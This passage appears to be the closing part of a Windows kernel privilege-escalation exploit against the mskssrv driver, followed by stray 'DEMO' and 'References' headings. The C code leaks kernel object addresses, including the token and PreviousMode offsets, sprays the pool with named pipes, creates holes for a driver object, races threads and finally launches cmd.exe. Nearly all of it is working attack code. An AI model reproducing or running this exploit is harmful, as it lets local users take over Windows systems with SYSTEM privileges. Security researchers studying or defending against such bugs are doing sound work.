    for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
        if (handleInfo->Handles[i].HandleValue == cReg &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
        }
        if (handleInfo->Handles[i].HandleValue == hProc &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
            cur_token = cur_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == 4 &&
            handleInfo->Handles[i].HandleValue == 4) {
            system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
            system_token = system_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
            handleInfo->Handles[i].HandleValue == hMainThread) {
            main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
            main_prevmode = main_kthread + 0x232;
        }
    }

    // Spraying pool
    DWORD spray_size = SPRAY_SIZE;
    PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
    PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
    IO_STATUS_BLOCK isb;

    fake_stream fs1 = { 0 };
    fake_stream fs2 = { 0 };
    fake_stream fs3 = { 0 };
    fs1.data[0] = &fs2;
    fs1.data[0x1a] = 0x1;
    fs2.data[0] = &fs3;
    fs3.data[0] = &fs2;

    ULONG_PTR Inbuf[0x20] = { 0 };
    Inbuf[3] = main_prevmode + 0x30;
    Inbuf[0xd] = &fs1;
    Inbuf[0xf] = &fs2;

    NTSTATUS s;
    HANDLE tmp[SPRAY_SIZE] = { 0 };
    for (int i = 0;i < spray_size;i++) {
        hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
            PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

        tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

        s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
        if (!NT_SUCCESS(s)) {
            printf("\t[-] pool spraying failed, %p\n", s);
            return -1;
        }
    }

    //Create Holes
    for (int i = spray_size-0x20;i < spray_size;i += 4)
    {
        CloseHandle(tmp[i]);        // create hole
        CloseHandle(hPipeArray[i]);
    }

    ULONG_PTR InitBuf[0x20] = { 0 };
    InitBuf[0] = 0xdeadbeef;            // &1 != 0
    InitBuf[1] = 0xdeadbeef1;            // non-zero value
    InitBuf[2] = 0xdeadbeef2;            // non-zero value
                                        // InitBuf[3] = 0

    // Put FsContextReg in Hole
    DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

    DWORD sep_threadId;
    HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);

    WaitForSingleObject(hMainThread, INFINITE);
    WaitForSingleObject(hSepThread, INFINITE);

    for (int i = 0;i < spray_size;i++) {
        if (tmp[i]) CloseHandle(tmp[i]);
        if (hPipeArray[i]) CloseHandle(hPipeArray[i]);
    }
    CloseHandle(hMainThread);
    CloseHandle(hSepThread);
    CloseHandle(hEvent);

    system("cmd.exe");

    return 0;
}

DEMO

References